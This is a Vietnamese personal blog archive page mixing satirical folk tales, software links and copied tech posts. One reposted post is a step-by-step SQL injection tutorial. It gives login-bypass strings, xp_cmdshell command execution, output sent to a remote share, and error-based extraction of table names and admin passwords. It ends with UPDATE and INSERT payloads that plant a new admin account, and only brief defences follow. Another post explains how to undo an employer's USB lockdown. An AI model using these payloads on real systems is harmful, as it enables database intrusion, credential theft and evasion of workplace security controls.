Thuở xa xưa, ông trời chỉ định cho mặt trăng là đơn vị độc quyền cung cấp ánh sáng cho trái đất. Tên giao dịch viết tắt của tập đoàn này là EMT (Electric Mặt Trăng). Nhưng người ta vẫn thường gọi là Tập đoàn “Cuội” do ông chủ tập đoàn tên là Cuội (tên này thì Truyện cổ tích VN có xác nhận). Do độc quyền nên EMT làm ăn hết sức bê bối, mỗi tháng chỉ cung cấp ánh sáng đầy đủ có vài bữa (đến giờ này vẫn còn, khi chỉ có tối 15, 16 là sáng sủa)! Còn lại là cúp triền miên, hoặc chỉ cung cấp ánh sáng leo lét bằng trăng lưỡi liềm. Dân tình ta thán lên thấu thiên đình, thế là ông trời tổ chức họp kiểm điểm. Ông Cuội thanh minh đủ thứ là do mây che mất ánh sáng, rồi hứa sẽ cải thiện. Nhưng ông Cuội vẫn đâu hoàn đấy, chẳng chăm lo đến chuyện cung cấp ánh sáng. Thậm chí, tiền thu được Cuội ta đầu tư lung tung cứ như lá đa trên cung trăng! Thế là dân lại ta thán. Ông trời lại kiểm điểm. Và lần này Cuội sụt sịt xin lỗi… Nhưng, xin lỗi xong cũng đâu lại vào đấy, ánh sáng vẫn không được cung cấp đàng hoàng. Bực mình, ông trời bèn quyết định không cho EMT độc quyền nữa. Nhờ vậy, Tập đoàn Mặt Trời mới được vào cuộc và từ đó dân tình mới hết nạn thiếu ánh sáng. Dân tình đã rất biết ơn ông trời…

(st)

Posted in Uncategorized | 6 Comments »

Microsoft cho phép tải về mã nguồn các control của Silverlight 2

Posted by Võ Văn Hải on September 7, 2009

Microsoft hiện đã cho phép các nhà phát triển tải về mã nguồn của các control có trong Silverlight 2, đây là một cơ hội tuyệt vời cho các nhà phát triển có thể tham khảo và xem cách các control cơ bản được xây dựng.
silverlight-2-control-project.png
Bạn có thể tải về từ đây: http://www.microsoft.com/downloads/details.aspx?FamilyID=EB83ED4C-AC85-4DE9-8395-285628EE2254&displaylang=en

Posted in Uncategorized | 2 Comments »

AptechKit – Phần mềm cho dân Aptech

Posted by Võ Văn Hải on May 7, 2009

Đĩa Aptech khiến cho mình và tất cả những ai dùng nó đều phải…ức phòi máu. Vì nó vừa ngốn hết tài nguyên CPU, làm máy đơ không chịu được, vừa ko cho copy/paste. Bất tiện, tốn thời gian cho cả việc học và dạy.

Giờ đây chúng ta đã có Aptech Kit – phần mềm tối ưu cho việc dùng đĩa CD của Aptech.

Download tại : http://www.mediafire.com/?mgcjdhgz2zm

Hình ảnh minh họa:
https://i0.wp.com/i285.photobucket.com/albums/ll73/hieubm/pEnGwINUS/AptechKit15-tab1.png
https://i2.wp.com/i285.photobucket.com/albums/ll73/hieubm/pEnGwINUS/AptechKit15-tab2.png
Hướng dẫn sử dụng:

– Khởi động Start.exe và Aptech Kit.
– Tại tab “Optimize Presentation”, chọn:

+ Recover CPU Resource: Khôi phục tài nguyên CPU bị chiếm dụng bởi Start.exe
+ Enable copy/paste functionality: Cho phép copy/paste trong khi chạy Start.exe
+ Don’t use fullscreen mode: Thoát khỏi chế độ fullscreen.
Sau đó nhấn Perform để thực hiện những việc mà bạn đã chọn.
– Tại tab “Get Files”, chọn các files mà bạn muốn lấy vào ổ cứng:

+ Practices Assignments: Các bài tập thực hành.
+ Source Codes: Các mã nguồn ví dụ.
+ References: Các tài liệu tham khảo.
Sau đó nhấn Get Files, chọn thư mục muốn lưu.

Nguồn: http://aptech.haui.edu.vn/forum/showthread.php?t=2723

Posted in Uncategorized | 1 Comment »

VONG QUỐC LIỆT TRUYỆN

Posted by Võ Văn Hải on March 14, 2009

Nguồn:

http://blog.360.yahoo.com/blog-mirTL1g_fLOcIOaxBWGwDG1bn3k-?cq=1

http://daohieu.com/website/?pg=gl&id=544

ÔN TUYỀN KÝ SỰ

Nam An quân vào rừng săn bắn, mãi mê đuổi theo con mồi, quên mất đường xa lối gần, bỗng gặp rừng hoa đào mọc sát bờ mấy trăm bước, không xen loại cây nào khác, cỏ thơm tươi đẹp, hoa rụng rực rỡ. Nam An quân lấy làm lạ, tiến thêm vô cuối khu rừng, thấy có hòn núi cao ngất trời, giữa vách núi có dòng suối nóng chảy ra, khói nước bốc cao ba trượng, lan xa mấy trăm bước, hai bờ kỳ hoa dị thảo tốt tươi,  tới sát bờ, cởi giày thò chân xuống thấy nước ấm áp, khoan khoái dễ chịu, bèn cởi xiêm y nhảy ùm xuống tắm, tắm xong thấy mệt nhọc tiêu tan, người khỏe ra, đầu óc minh mẫn.

Về đến hoàng cung, Nam An quân liền gọi bá quan vào triều, kể lại sự lạ ấy rồi nói:

– Nay quả nhân muốn bán nước cho người Ngô!

Kẻ bề tôi nghe thế liều chết dập đầu đến toé máu can ngăn, Nam An quân cả giận nói:

– Nước là do quả nhân tìm ra, nay quả nhân muốn bán, ai dám can ngăn?

Nói xong, thét vũ sĩ đem chém đầu treo lên cửa thành thị chúng, dán cáo thị cấm chỉ bàn lui, kẻ sĩ trong nước đều sợ, chẳng ai dám lên tiếng.

VƯƠNG ĐẠO và BÁ ĐẠO

Ngô Uy vương tính cử binh đánh úp nước Nam An, hỏi kế bề tôi, có kẻ bước ra đáp:
– Tôi có kế bá đạo và vương đạo, đại vương muốn nghe kế nào?
Đáp:
– Xin nghe kế bá đạo trước!
Kẻ ấy nói:
– Kế bá đạo là nhà vua cứ cất 10 vạn binh mã, kéo rốc sang Nam An đánh một trận cho quân ta thây chất như núi, máu chảy thành sông, bên trong cô nhi quả phụ đầy đường, quốc khí suy sụp, mười năm chắng ngốc đầu lên nổi, bên ngoài nước lớn chê cười, nước nhỏ bất phục, oán rằng ta lấy nước nghìn cỗ xe đánh nước trăm cỗ xe(1). Ấy là kế bá đạo.
Ngô Uy vương giật mình, toát mồ hôi, hỏi:
– Xin nghe tiếp kế vương đạo!
Đáp rằng:
– Tôi nghe Nam An là xứ lắm thuyền ít ngựa, vả lại ngựa của Nam An nhỏ bé, không to cao như ngựa chiến nước ta, bởi vậy người Nam An rất thích ngựa nước Ngô, chi bằng ta cứ bán rẻ cho họ, nhưng trước khi bán, hoặc cho ngựa uống nước đậu xanh, hoặc dùng chày đánh ngựa nội thương, người Nam An ham ngựa rẻ, đua nhau mua về, chạy được vài hôm, ngựa ngã quỵ bất ngờ, thế nào người cỡi cũng bị thương, ban đầu không sao, nhưng lâu dần, cả nước đều bị thương hoặc chết, lúc đó dù ta đem binh già yếu sang, người Nam An cũng không còn sức chống đỡ. Đó là kế vương đạo.

Ngô Uy vương ngẫm nghĩ rồi nói:
– Quả nhân xin nghe theo vương đạo!
( trích Tân Chiến quốc sách)
Giải thích:

(1)Thời Chiến Quốc, chiến xa là tiêu chuẩn để đánh giá 1 nước mạnh hay yếu, lớn hay nhỏ. Ở đây nước có nghìn cỗ xe là nước lớn, nước có trăm cỗ xe là nước nhỏ.

ỨNG DỤNG KINH THI TRONG ĐỜI SỐNG

Nam An vương tính lấy đất của trăm họ xây hành cung, mà lại không có cớ gì, có kẻ bề tôi tâu rằng:

– Thần từ nhỏ đọc Kinh Thi, có câu rằng “phổ thiên chi hạ, mạc phi vương thổ; suất thổ chi tân, mạc phi vương thần” ( khắp dưới gầm trời, đều là đất vua; khắp nơi bến nước, đều là bề tôi của vua), nay nhà vua chỉ xây nhà trên đất của mình, cớ gì phải hỏi ý ai?

Nam An vương khen phải, sai người làm ngay. Từ đó, xứ Nam An ăn mày nhiều vô kể.

Tim và óc

Danh Vô tử học đạo đã lâu, tính tình phóng khoáng, thích ngao du rong ruổi đây đó, vui cùng hạc nội mây ngàn, bữa nọ xuôi dòng Mê Giang ghé Nam An tiểu quốc, trú chân tại khách sạn Duyệt Lai. Đang nằm khoèo ngẫm nghĩ sự đời, thốt nhiên có tiếng ồn ào ngoài phố vọng vào, tò mò đẩy cửa ra xem, té ra có đám quan viên đang bày bán tim óc, khách mua xúm xít sục sạo lựa hàng, Danh Vô tử cả kinh kéo một người hỏi, tim óc là thứ quý giá trong người, bán đi làm sao sống, người ấy đáp:

– Đạo sĩ không biết đó thôi, xứ tôi muốn làm quan phải cắt tim bỏ óc, quốc vương, tể tướng cũng bán rồi. Các đồng liêu đường mây rộng mở vì không còn mấy thứ phiền phức ấy, tôi tiếc của nên vẫn còn là viên thư lại quèn, nay tôi cũng bán quách cho nhẹ người!

Danh Vô tử hoảng quá co giò chạy thẳng về núi.

Mẹo hay

Trong Thất Hùng thời Chiến Quốc, nước Tần mạnh nhất, lấn lướt 6 nước kia, ngày nọ Tần vương Chính toan đánh nước Hàn. Nhận được tin báo, Hàn vương An vội hỏi Vô Danh tử:

– Nhà thầy học theo đức Khổng phu tử chu du liệt quốc, kiến thức quảng đại, có cách gì giúp nước tôi chăng?

Đáp:

– Tôi nghe ở phía nam có nước Nam An thịnh trị thái bình đã gần trăm năm nay, chẳng nước nào dám đánh là vì có mẹo hay, có thể bắt chước theo vậy.

Hỏi:

– Mẹo gì?

Đáp:

– Nước Nam An tường thành tuy mỏng, hào tuy nông, binh tuy yếu, nhưng vua tôi nước ấy siêng năng lắm, mùa xuân đào hết đường xá lên, mùa hạ lấp lại, mùa thu lại xới lên, mùa đông lại phủ xuống, cứ thế bốn mùa không ngơi nghỉ, làm cho chẳng có lối đi, nếu quân giặc xông bừa vào, chẳng biết đường nào mà lần, không té què chân cũng gãy tay.

Hàn vương An cả mừng, y theo kế ấy mà làm, quả nhiên giữ được nước Hàn yên bình trước nước Tần lang sói đến vài chục năm.

Đất thừa kế:

Nam An quân hỏi Vô Danh tử
– Nay quốc khố trống rỗng, kho lẫm cạn kiệt, thu thuế không đủ chi dùng mà có người lại hỏi mua đất Nguyên ở phía tây, đảo Trường đảo Hoàng ở ngoài bể, ta bán nhé?

Đáp:

– Đất của tổ tiên, không bán được!

Nam An quân nói:

– Tổ tiên chết từ lâu rồi, bán đi chẳng trách!

Vô Danh tử lại nói:

– Trăm họ sẽ lên tiếng!

Đáp:

– Trăm họ ở dưới thấp, ta thì ở nơi lầu cao tường dày, nghe sao được!

Vô Danh tử nghe thế thở dài, dắt học trò rời Nam An sang xứ khác.

NAM AN QUÂN HIỀN CHĂNG?

Vô Danh tử dắt học trò đến quốc đô nước Nam An. Học trò là Hữu cảm khái nói:

– Khen thay, vua Nam An là người hiền!

Vô Danh tử nói:

– Chưa chắc!

Hữu thắc mắc:

– Nam An được thái bình thịnh trị, trăm họ vui vẻ làm ăn, chẳng tiếng oán than, chẳng phải bởi vua hiền sao?

Vô Danh tử nói:

– Trăm họ chỉ lo kiếm sống, bởi sưu cao thuế nặng phải ráng ra sức làm để đóng cho vua; trăm họ không tiếng oán than, bởi vua vi chính hà khắc, chẳng cho lên tiếng chứ không phải là không muốn vậy.

Nói xong thúc học trò ra roi phóng ngựa chạy mau ra khỏi nước ấy.

Diệu kế

Nay, vua nước Nam An hỏi rằng: “ Nam An là nước nhỏ, kẹt giữa hai nước Mỹ Trung. Vậy ta nên thờ Mỹ hay thờ Trung?” Vô Danh tử đáp: “ Mưu ấy tôi không biết. Thôi thì chỉ còn một cách này thôi, đó là đào hào cho sâu, xây thành cho dầy, cùng dân giữ nước, liều chết thì dân không bỏ đi, đó là cách có thể làm vậy.”

Lời bàn của Vô Danh (chưa tử):

Mọi việc phải dựa vào dân, thương dân thì dân giúp cho, bỏ dân thì dân bỏ vậy.

Posted in chuyện phiếm | 5 Comments »

Teen Tây vs Teen Ta: Cùng xem và suy ngẫm!

Posted by Võ Văn Hải on December 6, 2008

Màu xanh tượng trưng cho phong cách phương Tây; Màu đỏ tượng trưng cho phong cách phương Đông

Quan điểm

https://vovanhai.files.wordpress.com/2008/12/tayta_1.jpg

Cách sống

https://vovanhai.files.wordpress.com/2008/12/tayta_2.jpg

Giải quyết vấn đề

https://vovanhai.files.wordpress.com/2008/12/tayta_3.jpg

Sếp

https://vovanhai.files.wordpress.com/2008/12/tayta_4.jpg

Giao thiệp

https://vovanhai.files.wordpress.com/2008/12/tayta_5.jpg

Khi tức giận

https://vovanhai.files.wordpress.com/2008/12/tayta_6.jpg

Khi xếp hàng đợi

https://vovanhai.files.wordpress.com/2008/12/tayta_7.jpg

Đúng giờ

https://vovanhai.files.wordpress.com/2008/12/tayta_8.jpg

Tiệc tùng

https://vovanhai.files.wordpress.com/2008/12/tayta_9.jpg

Trong nhà hàng

https://vovanhai.files.wordpress.com/2008/12/tayta_10.jpg

Phố phường ngày chủ nhật

https://vovanhai.files.wordpress.com/2008/12/tayta_11.jpg

Du lịch

https://vovanhai.files.wordpress.com/2008/12/tayta_12.jpg

Khuynh hướng

https://vovanhai.files.wordpress.com/2008/12/tayta_13.jpg

Ba bữa mỗi ngày

https://vovanhai.files.wordpress.com/2008/12/tayta_14.jpg

Phương tiện giao thông

https://vovanhai.files.wordpress.com/2008/12/tayta_15.jpg

Tâm trạng và thời tiết

https://vovanhai.files.wordpress.com/2008/12/tayta_16.jpg

Vị trí của trẻ em

https://vovanhai.files.wordpress.com/2008/12/tayta_17.jpg

Còn bạn! Bạn nghĩ thế nào?

(Sưu tầm từ internet)

Posted in Uncategorized | 24 Comments »

Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

Posted by Võ Văn Hải on December 3, 2008

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

* Login: hi’ or 1=1–
* Password: hi’ or 1=1–
* http://yoursite.com/index.asp?id=hi’ or 1=1–

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value=”hi’ or 1=1–“>
</FORM>

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến ‘category’ được gán giá trị là ‘food’. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request(“category”) là ‘food’ và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory=’food’

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1– , biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”

Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

‘ or 1=1–

” or 1=1–

or 1=1–

‘ or ‘a’=’a

” or “a”=”a

‘) or (‘a’=’a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–

Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

Chú ý: folder “share” phải được share cho Everyone trước.

7. Nhận dữ liệu qua ‘database using ODBC error message’

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.

/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1”. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5

Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”.

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là “login_id”. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password”, “details”. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table “admin_login” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.

/index.asp, line 5

Và bây giờ là đã có thể login vào với username là “neo” và password là “m4trix”.

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173”. Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’–

Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’–

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity’ và password là ‘31173’

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của “neo”, có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–

Và bây giờ có thể login vào với username “neo2” và password là “newpas5”

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:

* input do người dùng đệ trình
* các tham số từ URL
* các giá trị từ cookie

Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.

Xóa các stored procedure trong database master mà không dùng như:

* xp_cmdshell
* xp_startmail
* xp_sendmail
* sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
13. Tài liệu thao khảo

* How I hacked PacketStorm (Rain Forest Puppy)http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
* Great article on gathering information from ODBC error messages
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
* A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml
* Senseport’s article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
* Khác:
http://www.digitaloffense.net/warga…/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

(Sưu tầm từ internet)

Posted in Uncategorized | 2 Comments »

Unlock việc ngăn cấm sử dụng USB trong 1 máy tính

Posted by Võ Văn Hải on December 3, 2008

Hiện nay tại một số Công ty lớn, tập đoàn lớn họ cần có chứng chỉ bảo mật để có thể kêu gọi một số hợp đồng của các đối tác nước ngoài nhất là Nhật. Chính vì thế các công ty phầm mềm này ra sức thiết chặt vấn đề bảo mật hơn đối với từng coder và nhân viên.
Trong số các vấn đề bảo mật đó có 1 vấn đề là khóa USB.
Theo như sự tìm hiểu của tôi thì họ – những Administrators đã tạo ra các file Script trên server và yêu cầu các file này sẽ chạy trên các client thuộc domain đó các máy tính này khởi động hoặc log on.
Các file script có nhiệm vụ tìm kiếm đến các file .inf nhận dạng USB đổi phần mở rộng của các file này nhằm mục đích kiếm cho Windows không thể tự động nhận diện và cài đặt USB.
vì thế chúng ta cần tìm lại các file này trong thư mục inf theo đường dẫn sau:
C:\WINDOWS\inf

và các file để nhận diện USB thường là:
usb.inf
usb.PNF
các bạn thấy các file bị thay đổi phần mở rộng thì đổi lại cho hợp lý.
sau đó khởi động lại máy tính thế là tha hồ mà sài USB.

Unlock cổng USB trên máy cá nhân nếu bỗng nhiên 1 ngày đẹp trời nó bị khóa

Vào menu Run, gõ Regedit, tìm đến khóa
HKEY_LOCAL_MACHINE\SYSTEM\CurrentContr… es\USBSTOR\Start
value: 4 –> disable (Cái này là vô hiệu hóa )
value: 3 –> enable (Cho cắm USB )

Còn nếu máy bạn bị ngắt/ hư cổng usb thì có 2 giải pháp:

  1. Dùng Card IDE-USB
  2. Mua máy mới 🙂

(Sưu tầm từ internet)

Posted in Uncategorized | 5 Comments »